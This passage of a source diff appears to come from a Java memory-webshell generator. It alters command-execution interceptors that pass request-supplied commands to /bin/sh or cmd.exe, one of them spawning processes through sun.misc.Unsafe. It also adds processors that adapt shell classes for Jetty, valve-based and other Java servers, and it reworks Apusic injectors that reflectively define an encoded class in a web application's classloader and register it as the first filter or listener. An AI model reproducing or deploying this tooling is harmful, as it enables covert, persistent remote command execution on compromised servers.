+                             @Advice.Return(readOnly = false) InputStream returnValue,
+                             @TemplateAnnotation String template
+    ) throws IOException {
        try {
-            String[] strs = cmd.split("\\s+");
+            String[] cmdarray = null;
+            String t = template;
+            if (t == null) {
+                cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
+            } else {
+                if (t.contains("\"{command}\"")) {
+                    String[] split = t.split("\\s+");
+                    for (int i = 0; i < split.length; i++) {
+                        split[i] = split[i].replace("\"{command}\"", cmd);
+                    }
+                    cmdarray = split;
+                } else {
+                    String cmdline = t.replace("{command}", cmd);
+                    cmdarray = cmdline.split("\\s+");
+                }
+            }
            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
            java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
            unsafeField.setAccessible(true);
@@ -30,11 +48,11 @@ public class ForkAndExecInterceptor {
            }
            Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);

-            byte[][] args = new byte[strs.length - 1][];
+            byte[][] args = new byte[cmdarray.length - 1][];
            int size = args.length;

            for (int i = 0; i < args.length; i++) {
-                args[i] = strs[i + 1].getBytes();
+                args[i] = cmdarray[i + 1].getBytes();
                size += args[i].length;
            }

@@ -48,7 +66,7 @@ public class ForkAndExecInterceptor {

            int[] envc = new int[1];
            int[] std_fds = new int[]{-1, -1, -1};
-            byte[] bytes = strs[0].getBytes();
+            byte[] bytes = cmdarray[0].getBytes();
            byte[] result = new byte[bytes.length + 1];
            System.arraycopy(bytes, 0,
                    result, 0,
@@ -10,9 +10,28 @@ import java.io.InputStream;
 * @since 2025/5/25
 */
 public class RuntimeExecInterceptor {
+
    @Advice.OnMethodExit
-    public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
-        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
-        returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
+    public static void enter(@Advice.Argument(value = 0) String cmd,
+                             @Advice.Return(readOnly = false) InputStream returnValue,
+                             @TemplateAnnotation String template
+    ) throws IOException {
+        String[] cmdarray = null;
+        String t = template;
+        if (t == null) {
+            cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
+        } else {
+            if (t.contains("\"{command}\"")) {
+                String[] split = t.split("\\s+");
+                for (int i = 0; i < split.length; i++) {
+                    split[i] = split[i].replace("\"{command}\"", cmd);
+                }
+                cmdarray = split;
+            } else {
+                String cmdline = t.replace("{command}", cmd);
+                cmdarray = cmdline.split("\\s+");
+            }
+        }
+        returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
    }
 }
@@ -0,0 +1,8 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+@Retention(RetentionPolicy.RUNTIME)
+public @interface TemplateAnnotation {
+}
@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+        return builder;
+    }
+}
@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+
+public class JakartaPostProcessor implements Processor<byte[]> {
+    @Override
+    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            return ClassRenameUtils.relocateJakarta(input);
+        }
+        return input;
+    }
+}
@@ -0,0 +1,62 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.asm.ClassSuperClassUtils;
+import com.reajason.javaweb.asm.MethodUtils;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.memshell.server.Jetty;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class JettyHandlerPostProcessor implements Processor<byte[]> {
+
+    @Override
+    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+        String shellType = shellConfig.getShellType();
+        if (server instanceof Jetty
+                && (ShellType.HANDLER.equals(shellType)
+                || ShellType.JAKARTA_HANDLER.equals(shellType))
+        ) {
+            String superClassName = null;
+            String serverVersion = shellConfig.getServerVersion();
+            if (serverVersion != null) {
+                switch (serverVersion) {
+                    case "6":
+                        superClassName = "org/mortbay/jetty/handler/AbstractHandler";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
+                        bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
+                        break;
+                    case "7+":
+                        superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
+                        break;
+                    case "12":
+                        superClassName = "org/eclipse/jetty/server/Handler$Abstract";
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
+                        bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
+                        break;
+                }
+            }
+            if (superClassName == null) {
+                throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
+            }
+            return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
+        }
+        return bytes;
+    }
+}
@@ -0,0 +1,69 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.description.method.MethodList;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.implementation.StubMethod;
+import net.bytebuddy.matcher.ElementMatchers;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        String shellType = shellConfig.getShellType();
+        if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
+            AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+            String shellClassName = shellToolConfig.getShellClassName();
+            builder = modifier(builder,
+                    server.getListenerInterceptor(),
+                    shellToolConfig.getShellTypeDescription(),
+                    shellClassName);
+        }
+        return builder;
+    }
+
+    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
+                                                  TypeDescription typeDefinition, String newClassName) {
+        MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
+
+        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
+            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
+                    " the method body will be auto adapted for multi server");
+        } else {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance(
+                            "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
+                    .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+        }
+
+        if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
+            builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(Object.class, String.class)
+                    .throwing(Exception.class)
+                    .intercept(StubMethod.INSTANCE)
+                    .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
+        }
+        return builder;
+    }
+}
@@ -0,0 +1,18 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class ShrinkPostProcessor implements Processor<byte[]> {
+
+    @Override
+    public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
+    }
+}
@@ -1,6 +1,11 @@
-package com.reajason.javaweb.memshell.generator;
+package com.reajason.javaweb.memshell.generator.processors;

 import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
 import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.memshell.server.Bes;
 import com.reajason.javaweb.memshell.server.TongWeb;
@@ -12,6 +17,7 @@ import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.Implementation;
 import net.bytebuddy.jar.asm.ClassVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
 import net.bytebuddy.jar.asm.commons.ClassRemapper;
 import net.bytebuddy.jar.asm.commons.Remapper;
 import net.bytebuddy.pool.TypePool;
@@ -20,9 +26,19 @@ import org.jetbrains.annotations.NotNull;

 /**
 * @author ReaJason
- * @since 2025/2/22
+ * @since 2025/12/7
 */
-public class ValveGenerator {
+public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        String shellType = shellConfig.getShellType();
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
+        if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
+            builder = modifier(builder, server, shellConfig.getServerVersion());
+        }
+        return builder;
+    }

    public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
    public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
@@ -30,24 +46,33 @@ public class ValveGenerator {
    public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
    public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";

-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
+    public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
        String packageName = null;
-        if (serverVersion.equals("6")) {
-            packageName = TONGWEB6_VALVE_PACKAGE;
-        } else if (serverVersion.equals("7")) {
-            packageName = TONGWEB7_VALVE_PACKAGE;
-        } else if (serverVersion.equals("8")) {
-            packageName = TONGWEB8_VALVE_PACKAGE;
-        } else if (shell instanceof Bes) {
+        if (shell instanceof Bes) {
            packageName = BES_VALVE_PACKAGE;
        }
-        if (StringUtils.isEmpty(packageName)) {
-            if (shell instanceof TongWeb) {
-                throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
+        if (shell instanceof TongWeb) {
+            if (serverVersion == null) {
+                throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
+            }
+            switch (serverVersion) {
+                case "6":
+                    packageName = TONGWEB6_VALVE_PACKAGE;
+                    break;
+                case "7":
+                    packageName = TONGWEB7_VALVE_PACKAGE;
+                    break;
+                case "8":
+                    packageName = TONGWEB8_VALVE_PACKAGE;
+                    break;
+                default:
+                    throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
            }
-            return builder;
        }
-        return builder.visit(new ValveRenameVisitorWrapper(packageName));
+        if (StringUtils.isNotBlank(packageName)) {
+            return builder.visit(new ValveRenameVisitorWrapper(packageName));
+        }
+        return builder;
    }

    public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
@@ -79,7 +104,7 @@ public class ValveGenerator {
                                 int readerFlags) {
            return new ClassRemapper(
                    classVisitor,
-                    new Remapper() {
+                    new Remapper(Opcodes.ASM9) {
                        @Override
                        public String map(String typeName) {
                            String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
@@ -40,7 +40,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
            String name = allLoadedClass.getName();
            if (TARGET_CLASS.replace("/", ".").equals(name)) {
                inst.retransformClasses(allLoadedClass);
-                System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
            }
        }
    }
@@ -61,6 +60,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
                };
                ClassVisitor cv = getClassVisitor(cw);
                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
                return cw.toByteArray();
            } catch (Exception e) {
                e.printStackTrace();
@@ -77,12 +77,8 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
                                             String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                if (TARGET_METHOD_NAME.equals(name)) {
-                    try {
-                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
-                    } catch (Exception e) {
-                        e.printStackTrace();
-                    }
+                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
                }
                return mv;
            }
@@ -3,11 +3,13 @@ package com.reajason.javaweb.memshell.injector.apusic;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
+import java.util.LinkedHashSet;
+import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;

@@ -17,17 +19,8 @@ import java.util.zip.GZIPInputStream;
 */
 public class ApusicFilterInjector {

-    public ApusicFilterInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object filter = getShell(context);
-                inject(context, filter);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+    private static String msg = "";
+    private static boolean ok = false;

    public String getUrlPattern() {
        return "{{urlPattern}}";
@@ -41,48 +34,111 @@ public class ApusicFilterInjector {
        return "{{base64Str}}";
    }

+    public ApusicFilterInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[" + getUrlPattern() + "] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
    /**
     * context: com.apusic.web.container.WebContainer
-     * context -> webapp: com.apusic.deploy.runtime.WebModule
+     * context - webapp: com.apusic.deploy.runtime.WebModule
     * /usr/local/ass/lib/apusic.jar
     */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("HouseKeeper")) {
-                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+                // Apusic 9.0 SPX
+                Object sessionManager = getFieldValue(thread, "this$0");
+                contexts.add(getFieldValue(sessionManager, "container"));
+            } else if (thread.getName().contains("HTTPSession")) {
+                // Apusic 9.0.1
+                Object sessionManager = getFieldValue(thread, "this$0");
+                Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
+                contexts.addAll(contextMap.values());
            }
        }
        return contexts;
    }

-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private Object getShell(Object context) throws Exception {
+        // WebApp 类加载器，ServletContext 使用这个进行组件的类加载
+        ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
+        ClassLoader defineLoader;
+        Object obj;
        try {
-            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
-        } catch (Exception e) {
-            return ((ClassLoader) getFieldValue(context, "loader"));
+            // Apusic 9.0 SPX，优先从当前 loader 进行加载
+            defineShell(loader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = loader;
+        } catch (ClassNotFoundException e) {
+            // Apusic 9.0.1，委托给 jspLoader 进行加载，因此直接往 loader 里面 define 会 ClassNotFound
+            ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
+            defineShell(internalLoader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = internalLoader;
        }
+        msg += "[" + defineLoader.getClass().getName() + "] ";
+        return obj;
    }

    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = getWebAppClassLoader(context);
+    private void defineShell(ClassLoader classLoader) throws Exception {
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
-            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-            return clazz.newInstance();
+            defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        } catch (Throwable ignored) {
        }
    }

    public void inject(Object context, Object filter) throws Exception {
        Object webModule = getFieldValue(context, "webapp");
        if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
-            System.out.println("filter already injected");
            return;
        }
        // addFilterMapping
@@ -90,7 +146,12 @@ public class ApusicFilterInjector {
        Object filterMapping = filterMappingClass.newInstance();
        invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
        invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+        LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
+        LinkedHashSet newSet = new LinkedHashSet();
+        newSet.add(filterMapping);
+        newSet.addAll(beforeFilterMappings);
+        beforeFilterMappings.clear();
+        beforeFilterMappings.addAll(newSet);

        // addFilterModel
        invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -100,7 +161,11 @@ public class ApusicFilterInjector {
        Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
        Object filterMapper = getFieldValue(context, "filterMapper");
        invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
-        System.out.println("filter injected successful");
+    }
+
+    @Override
+    public String toString() {
+        return msg;
    }

    @SuppressWarnings("all")
@@ -155,33 +220,43 @@ public class ApusicFilterInjector {
                clazz = clazz.getSuperclass();
            }
        }
-        throw new NoSuchFieldException(fieldName);
+        throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
    }

    @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }

-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
        }
    }
 }
@@ -3,10 +3,11 @@ package com.reajason.javaweb.memshell.injector.apusic;
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
+import java.io.PrintStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
+import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;

@@ -16,17 +17,8 @@ import java.util.zip.GZIPInputStream;
 */
 public class ApusicListenerInjector {

-    public ApusicListenerInjector() {
-        try {
-            List<Object> contexts = getContext();
-            for (Object context : contexts) {
-                Object listener = getShell(context);
-                inject(context, listener);
-            }
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-    }
+    private static String msg = "";
+    private static boolean ok = false;

    public String getUrlPattern() {
        return "{{urlPattern}}";
@@ -40,52 +32,115 @@ public class ApusicListenerInjector {
        return "{{base64Str}}";
    }

-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public ApusicListenerInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[" + getUrlPattern() + "] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
        Set<Thread> threads = Thread.getAllStackTraces().keySet();
        for (Thread thread : threads) {
            if (thread.getName().contains("HouseKeeper")) {
-                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+                // Apusic 9.0 SPX
+                Object sessionManager = getFieldValue(thread, "this$0");
+                contexts.add(getFieldValue(sessionManager, "container"));
+            } else if (thread.getName().contains("HTTPSession")) {
+                // Apusic 9.0.1
+                Object sessionManager = getFieldValue(thread, "this$0");
+                Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
+                contexts.addAll(contextMap.values());
            }
        }
        return contexts;
    }

-    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+    private Object getShell(Object context) throws Exception {
+        // WebApp 类加载器，ServletContext 使用这个进行组件的类加载
+        ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
+        ClassLoader defineLoader;
+        Object obj;
        try {
-            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
-        } catch (Exception e) {
-            return ((ClassLoader) getFieldValue(context, "loader"));
+            // Apusic 9.0 SPX，优先从当前 loader 进行加载
+            defineShell(loader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = loader;
+        } catch (ClassNotFoundException e) {
+            // Apusic 9.0.1，委托给 jspLoader 进行加载，因此直接往 loader 里面 define 会 ClassNotFound
+            ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
+            defineShell(internalLoader);
+            // 模拟组件初始化（尝试使用 WebApp 类加载器进行组件类实例化）
+            obj = loader.loadClass(getClassName()).newInstance();
+            defineLoader = internalLoader;
        }
+        msg += "[" + defineLoader.getClass().getName() + "] ";
+        return obj;
    }

    @SuppressWarnings("all")
-    private Object getShell(Object context) throws Exception {
-        ClassLoader classLoader = getWebAppClassLoader(context);
+    private void defineShell(ClassLoader classLoader) throws Exception {
        try {
-            return classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
